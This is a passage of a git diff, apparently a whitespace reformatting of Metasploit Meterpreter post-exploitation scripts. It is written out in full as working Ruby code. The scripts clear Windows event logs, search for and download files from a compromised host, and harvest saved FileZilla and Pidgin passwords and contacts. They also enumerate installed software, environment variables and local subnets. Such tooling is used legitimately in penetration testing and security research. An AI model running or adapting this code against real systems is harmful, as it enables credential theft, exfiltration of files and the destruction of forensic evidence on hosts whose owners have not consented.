vSphere Host Update Utility 4.0") + enum_vihosupdt + end + if vmware_products.include?("VMware Workstation") + enum_vmwarewrk + end + else + print_status("No VMware Products appear to be installed in this host") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 9ddcd85a058e..18fcaa859554 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -13,13 +13,13 @@ filter_string = "*" meter_type = client.platform opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-i" => [ false, "Show information about Event Logs on the System and their configuration"], - "-l" => [ true, "List a given Event Log."], - "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], - "-f" => [ true, "Event ID to filter events on"], - "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], - "-p" => [ false, "Supress printing filtered logs to screen"] + "-h" => [ false, "Help menu" ], + "-i" => [ false, "Show information about Event Logs on the System and their configuration"], + "-l" => [ true, "List a given Event Log."], + "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], + "-f" => [ true, "Event ID to filter events on"], + "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], + "-p" => [ false, "Supress printing filtered logs to screen"] ) @@ -28,171 +28,171 @@ # Usage Message Function #------------------------------------------------------------------------------- def usage(opts) - print_line "Meterpreter Script for Windows Event Log Query and Clear." - print_line(opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for Windows Event Log Query and Clear." + print_line(opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end # Function for Enumerating EventLogs #------------------------------------------------------------------------------- def get_log_details - logs_detail = Array.new + logs_detail = Array.new - eventlog_list.each do |log_name| + eventlog_list.each do |log_name| - # Create a hash to store the log info in (and throw default info in) - log_detail = Hash.new - log_detail[:name] = log_name - log_detail[:retention] = "Disabled" - log_detail[:size] = 0 - log_detail[:number_of_records] = 0 + # Create a hash to store the log info in (and throw default info in) + log_detail = Hash.new + log_detail[:name] = log_name + log_detail[:retention] = "Disabled" + log_detail[:size] = 0 + log_detail[:number_of_records] = 0 - key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ - key = "#{key}Eventlog" - else - key = "#{key}eventlog" - end + key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" + if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ + key = "#{key}Eventlog" + else + key = "#{key}eventlog" + end - begin - unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end - log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") + begin + unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end + log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - # Open the event log - eventlog = @client.sys.eventlog.open(log_name) - log_detail[:num_of_records] = eventlog.length - rescue - log_detail[:num_of_records] = "Access Denied" - end + # Open the event log + eventlog = @client.sys.eventlog.open(log_name) + log_detail[:num_of_records] = eventlog.length + rescue + log_detail[:num_of_records] = "Access Denied" + end - logs_detail << log_detail - end + logs_detail << log_detail + end - return logs_detail + return logs_detail end # Function for Printing Event Log Details #------------------------------------------------------------------------------- def print_log_details - print_status("Retriving Event Log Configuration") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Event Logs on System", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Retention", - "Maximum Size", - "Records" - ]) - - eventlog_details = get_log_details - - eventlog_details.each do |log_detail| - tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] - end - - print_line("\n" + tbl.to_s + "\n") + print_status("Retriving Event Log Configuration") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Event Logs on System", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Retention", + "Maximum Size", + "Records" + ]) + + eventlog_details = get_log_details + + eventlog_details.each do |log_detail| + tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] + end + + print_line("\n" + tbl.to_s + "\n") end # Function for doings queries of EventLogs #------------------------------------------------------------------------------- def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) - begin - event_data = "" - csv_data = "EventID,Date,Data\n" - log = @client.sys.eventlog.open(eventlog_name) - log.each_backwards do |e| - if e.eventid.to_s =~ /#{filter}/ - if not sup_print - print_status("EventID: #{e.eventid}") - print_status("Date: #{e.generated}") - print_status("Data:") - e.strings.each do |l| - l.split("\r\n").each do |ml| - print_status("\t#{ml.chomp}") - event_data << " #{ml.chomp}" - end - end - print_status - end - csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" - event_data = "" - end - end - rescue - print_error("Failed to Open Event Log #{eventlog_name}") - raise Rex::Script::Completed - end - - if local_log - log_file = File.join(logs, "#{eventlog_name}.csv") - print_good("CSV File saved to #{log_file}") - file_local_write(log_file,csv_data) - end + begin + event_data = "" + csv_data = "EventID,Date,Data\n" + log = @client.sys.eventlog.open(eventlog_name) + log.each_backwards do |e| + if e.eventid.to_s =~ /#{filter}/ + if not sup_print + print_status("EventID: #{e.eventid}") + print_status("Date: #{e.generated}") + print_status("Data:") + e.strings.each do |l| + l.split("\r\n").each do |ml| + print_status("\t#{ml.chomp}") + event_data << " #{ml.chomp}" + end + end + print_status + end + csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" + event_data = "" + end + end + rescue + print_error("Failed to Open Event Log #{eventlog_name}") + raise Rex::Script::Completed + end + + if local_log + log_file = File.join(logs, "#{eventlog_name}.csv") + print_good("CSV File saved to #{log_file}") + file_local_write(log_file,csv_data) + end end # Function for clearing EventLogs #------------------------------------------------------------------------------- def clear_logs(log_name=nil) - log_names = [] - if log_name.nil? - log_names = eventlog_list - else - log_names << log_name - end - - log_names.each do |name| - begin - print_status("Clearing #{name}") - event_log = @client.sys.eventlog.open(name) - event_log.clear - print_status("Event Log #{name} Cleared!") - rescue - print_error("Failed to Clear #{name}, Access Denied") - end - end - - return log_names + log_names = [] + if log_name.nil? + log_names = eventlog_list + else + log_names << log_name + end + + log_names.each do |name| + begin + print_status("Clearing #{name}") + event_log = @client.sys.eventlog.open(name) + event_log.clear + print_status("Event Log #{name} Cleared!") + rescue + print_error("Failed to Clear #{name}, Access Denied") + end + end + + return log_names end ################## Main ################## opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage(opts) - when "-i" - print_logs = true - print_log_details - raise Rex::Script::Completed - when "-c" - clear_logs = true - eventlog_name = val - when "-l" - list_logs = true - eventlog_name = val - when "-f" - filter = val - when "-s" - local_log = true - if File.directory?(val) - local_log_path = val - else - print_error("Log folder #{val} does not exist!") - raise Rex::Script::Completed - end - when "-p" - supress_print = true - end + case opt + when "-h" + usage(opts) + when "-i" + print_logs = true + print_log_details + raise Rex::Script::Completed + when "-c" + clear_logs = true + eventlog_name = val + when "-l" + list_logs = true + eventlog_name = val + when "-f" + filter = val + when "-s" + local_log = true + if File.directory?(val) + local_log_path = val + else + print_error("Log folder #{val} does not exist!") + raise Rex::Script::Completed + end + when "-p" + supress_print = true + end } # Check for Version of Meterpreter @@ -201,7 +201,7 @@ def clear_logs(log_name=nil) # Print usage & exit if the user didn't specify an action # to default to just running for all logs) if !list_logs and !clear_logs and !print_logs - usage(opts) + usage(opts) end # Log Folder Creation @@ -214,31 +214,31 @@ def clear_logs(log_name=nil) # Create a directory for any local logging if the user desires if local_log - if local_log_path - logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + if local_log_path + logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - ::FileUtils.mkdir_p(logs) + ::FileUtils.mkdir_p(logs) end # List the logs if the user desires if list_logs and eventlog_name - list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) + list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) else - print_error("You must specify and eventlog to query!") + print_error("You must specify and eventlog to query!") end # Finally, clear the specified logs if the user desires if clear_logs - if eventlog_name - clear_logs(eventlog_name) - else - eventlog_list.each do |eventlog_name| - print_status eventlog_name + ": " - clear_logs(eventlog_name) - end - end + if eventlog_name + clear_logs(eventlog_name) + else + eventlog_list.each do |eventlog_name| + print_status eventlog_name + ": " + clear_logs(eventlog_name) + end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 30e8cb40b273..4ac88d6f567d 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -8,73 +8,73 @@ recurse = false logs = nil @opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help menu." ], - "-i" => [true, "Input file with list of files to download, one per line."], - "-d" => [true, "Directory to start search on, search will be recursive."], - "-f" => [true, "Search blobs separated by a |."], - "-o" => [true, "Output File to save the full path of files found."], - "-r" => [false, "Search subdirectories."], - "-l" => [true, "Location where to save the files."] + "-h" => [false, "Help menu." ], + "-i" => [true, "Input file with list of files to download, one per line."], + "-d" => [true, "Directory to start search on, search will be recursive."], + "-f" => [true, "Search blobs separated by a |."], + "-o" => [true, "Output File to save the full path of files found."], + "-r" => [false, "Search subdirectories."], + "-l" => [true, "Location where to save the files."] ) # Function for displaying help message def usage - print_line "Meterpreter Script for searching and downloading files that" - print_line "match a specific pattern. First save files to a file, edit and" - print_line("use that same file to download the choosen files.") - print_line(@opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for searching and downloading files that" + print_line "match a specific pattern. First save files to a file, edit and" + print_line("use that same file to download the choosen files.") + print_line(@opts.usage) + raise Rex::Script::Completed end # Check that we are running under the right type of Meterpreter if client.platform =~ /win32|win64/ - # Parse the options - if args.length > 0 - @opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - input_file = val - when "-o" - output_file = val - when "-d" - location = val - when "-f" - search_blob = val.split("|") - when "-r" - recurse = true - when "-l" - logs = val - end - } - # Search for files and save their location if specified - if search_blob.length > 0 and location - search_blob.each do |s| - print_status("Searching for #{s}") - results = @client.fs.file.search(location,s,recurse) - results.each do |file| - print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") - file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file - end - end - end - # Read log file and download those files found - if input_file and logs - if ::File.exists?(input_file) - print_status("Reading file #{input_file}") - print_status("Downloading to #{logs}") - ::File.open(input_file, "r").each_line do |line| - print_status("\tDownloading #{line.chomp}") - @client.fs.file.download(logs, line.chomp) - end - else - print_error("File #{input_file} does not exist!") - end - end - else - usage - end + # Parse the options + if args.length > 0 + @opts.parse(args) { |opt, idx, val| + case opt + when "-h" + usage + when "-i" + input_file = val + when "-o" + output_file = val + when "-d" + location = val + when "-f" + search_blob = val.split("|") + when "-r" + recurse = true + when "-l" + logs = val + end + } + # Search for files and save their location if specified + if search_blob.length > 0 and location + search_blob.each do |s| + print_status("Searching for #{s}") + results = @client.fs.file.search(location,s,recurse) + results.each do |file| + print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") + file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file + end + end + end + # Read log file and download those files found + if input_file and logs + if ::File.exists?(input_file) + print_status("Reading file #{input_file}") + print_status("Downloading to #{logs}") + ::File.open(input_file, "r").each_line do |line| + print_status("\tDownloading #{line.chomp}") + @client.fs.file.download(logs, line.chomp) + end + else + print_error("File #{input_file} does not exist!") + end + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index bdcd80535163..51fd9cb278d2 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -3,61 +3,61 @@ #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def app_list - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Installed Applications", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Version" - ]) - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - threadnum = 0 - a = [] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - if dispnm =~ /\S*/ - tbl << [dispnm,dispversion] - end - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Installed Applications", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Version" + ]) + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + threadnum = 0 + a = [] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + if dispnm =~ /\S*/ + tbl << [dispnm,dispversion] + end + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end - end - print_line("\n" + tbl.to_s + "\n") + end + print_line("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list installed applications and their version." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list installed applications and their version." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - app_list + app_list else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index 5bc85bf89eb4..dde47e4782e0 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,7 +1,7 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) var_names = [] var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment") @@ -9,34 +9,34 @@ var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment") def list_env_vars(var_names) - print_status("Getting all System and User Variables") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Enviroment Variable list", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Value" - ]) - var_names.flatten.each do |v| - tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] - end - print("\n" + tbl.to_s + "\n") + print_status("Getting all System and User Variables") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Enviroment Variable list", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Value" + ]) + var_names.flatten.each do |v| + tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] + end + print("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list of all System and User environment variables." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list of all System and User environment variables." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - list_env_vars(var_names) + list_env_vars(var_names) else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 2944f6018e65..55e6c2cd3d59 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -4,26 +4,26 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ] ) get_credentials=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting servers and credentials from Filezilla." - print_line(opts.usage) - raise Rex::Script::Completed - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting servers and credentials from Filezilla." + print_line(opts.usage) + raise Rex::Script::Completed + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -43,129 +43,129 @@ #------------------------------------------------------------------------------- #function for checking of FileZilla profile is present def check_filezilla(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/FileZilla/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/FileZilla/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- def extract_saved_creds(path,xml_file) - accounts_xml = "" - creds = "" - print_status("Reading #{xml_file} file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.to_a("//Server").each do |e| - print_status "\tHost: #{e.elements["Host"].text}" - creds << "Host: #{e.elements["Host"].text}" - print_status "\tPort: #{e.elements["Port"].text}" - creds << "Port: #{e.elements["Port"].text}" - logon_type = e.elements["Logontype"].text - if logon_type == "0" - print_status "\tLogon Type: Anonymous" - creds << "Logon Type: Anonymous" - elsif logon_type =~ /1|4/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - print_status "\tPassword: #{e.elements["Pass"].text}" - creds << "Password: #{e.elements["Pass"].text}" - elsif logon_type =~ /2|3/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - end + accounts_xml = "" + creds = "" + print_status("Reading #{xml_file} file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.to_a("//Server").each do |e| + print_status "\tHost: #{e.elements["Host"].text}" + creds << "Host: #{e.elements["Host"].text}" + print_status "\tPort: #{e.elements["Port"].text}" + creds << "Port: #{e.elements["Port"].text}" + logon_type = e.elements["Logontype"].text + if logon_type == "0" + print_status "\tLogon Type: Anonymous" + creds << "Logon Type: Anonymous" + elsif logon_type =~ /1|4/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + print_status "\tPassword: #{e.elements["Pass"].text}" + creds << "Password: #{e.elements["Pass"].text}" + elsif logon_type =~ /2|3/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + end - proto = e.elements["Protocol"].text - if proto == "0" - print_status "\tProtocol: FTP" - creds << "Protocol: FTP" - elsif proto == "1" - print_status "\tProtocol: SSH" - creds << "Protocol: SSH" - elsif proto == "3" - print_status "\tProtocol: FTPS" - creds << "Protocol: FTPS" - elsif proto == "4" - print_status "\tProtocol: FTPES" - creds << "Protocol: FTPES" - end - print_status "" - creds << "" + proto = e.elements["Protocol"].text + if proto == "0" + print_status "\tProtocol: FTP" + creds << "Protocol: FTP" + elsif proto == "1" + print_status "\tProtocol: SSH" + creds << "Protocol: SSH" + elsif proto == "3" + print_status "\tProtocol: FTPS" + creds << "Protocol: FTPS" + elsif proto == "4" + print_status "\tProtocol: FTPES" + creds << "Protocol: FTPES" + end + print_status "" + creds << "" - end + end # - return creds + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter FileZilla Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - filezilla_path = check_filezilla(u['userappdata']) - if filezilla_path - print_status("FileZilla profile found!") - ### modified to use filezilla_path - xml_cfg_files = ['sitemanager.xml','recentservers.xml'] - if get_credentials - xml_cfg_files.each do |xml_cfg_file| - file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) - end - end + print_status("Running Meterpreter FileZilla Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + filezilla_path = check_filezilla(u['userappdata']) + if filezilla_path + print_status("FileZilla profile found!") + ### modified to use filezilla_path + xml_cfg_files = ['sitemanager.xml','recentservers.xml'] + if get_credentials + xml_cfg_files.each do |xml_cfg_file| + file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) + end + end - else - print_error("Filezilla profile not found!") - end - end + else + print_error("Filezilla profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index 3622811d5757..aec4a583bef8 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -3,26 +3,26 @@ # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Get a list of local subnets based on the host's routes") - print_line("USAGE: run get_local_subnets") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Get a list of local subnets based on the host's routes") + print_line("USAGE: run get_local_subnets") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } client.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - print_line("Local subnet: #{route.subnet}/#{route.netmask}") + # Remove multicast and loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + print_line("Local subnet: #{route.subnet}/#{route.netmask}") } diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 77cbe3c64990..9edb6df611b3 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -5,33 +5,33 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ], - "-l" => [ false, "Retrieve logs." ], - "-b" => [ false, "Retrieve buddies." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ], + "-l" => [ false, "Retrieve logs." ], + "-b" => [ false, "Retrieve buddies." ] ) get_credentials=false get_buddies=false get_logs=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting configured services with username and passwords." - print_line(opts.usage) - raise Rex::Script::Completed - when "-l" - get_logs=true - when "-b" - get_buddies=true - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting configured services with username and passwords." + print_line(opts.usage) + raise Rex::Script::Completed + when "-l" + get_logs=true + when "-b" + get_buddies=true + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials || get_buddies || get_logs) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -51,156 +51,156 @@ #------------------------------------------------------------------------------- #function for checking of Pidgin profile is present def check_pidgin(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/\.purple/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/\.purple/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- #function for extracting the buddies def extract_buddies(path) - blist_xml = "" - buddies = "" - print_status("Reading blist.xml file...") - ### modified to use pidgin_path, which already has .purple in it - blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") - until blist_file.eof? - blist_xml << blist_file.read - end - blist_file.close - doc = (REXML::Document.new blist_xml).root - doc.elements["blist"].elements.each("group") {|group| - group.elements.each("contact") {|contact| - b_name=contact.elements["buddy"].elements["name"].text + "" - b_account=contact.elements["buddy"].attributes["account"] + "" - b_proto=contact.elements["buddy"].attributes["proto"] + "" - b_alias="" - if (contact.elements["buddy"].elements["alias"]) - b_alias=contact.elements["buddy"].elements["alias"].text - end - buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" - } - } - return buddies + blist_xml = "" + buddies = "" + print_status("Reading blist.xml file...") + ### modified to use pidgin_path, which already has .purple in it + blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") + until blist_file.eof? + blist_xml << blist_file.read + end + blist_file.close + doc = (REXML::Document.new blist_xml).root + doc.elements["blist"].elements.each("group") {|group| + group.elements.each("contact") {|contact| + b_name=contact.elements["buddy"].elements["name"].text + "" + b_account=contact.elements["buddy"].attributes["account"] + "" + b_proto=contact.elements["buddy"].attributes["proto"] + "" + b_alias="" + if (contact.elements["buddy"].elements["alias"]) + b_alias=contact.elements["buddy"].elements["alias"].text + end + buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" + } + } + return buddies end #------------------------------------------------------------------------------- #function for downloading logs def download_logs(dest,pidgin_path) - begin - stat = client.fs.file.stat(pidgin_path+"\\logs") - if(stat.directory?) - print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") - client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) - end - rescue - print_status("Log directory does not exist, loggin is not enabled.") - end + begin + stat = client.fs.file.stat(pidgin_path+"\\logs") + if(stat.directory?) + print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") + client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) + end + rescue + print_status("Log directory does not exist, loggin is not enabled.") + end end #------------------------------------------------------------------------------- #function for extracting the credentials def extract_creds(path) - accounts_xml = "" - creds = "" - print_status("Reading accounts.xml file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.each("account") {|element| - password = "" - if element.elements["password"] - 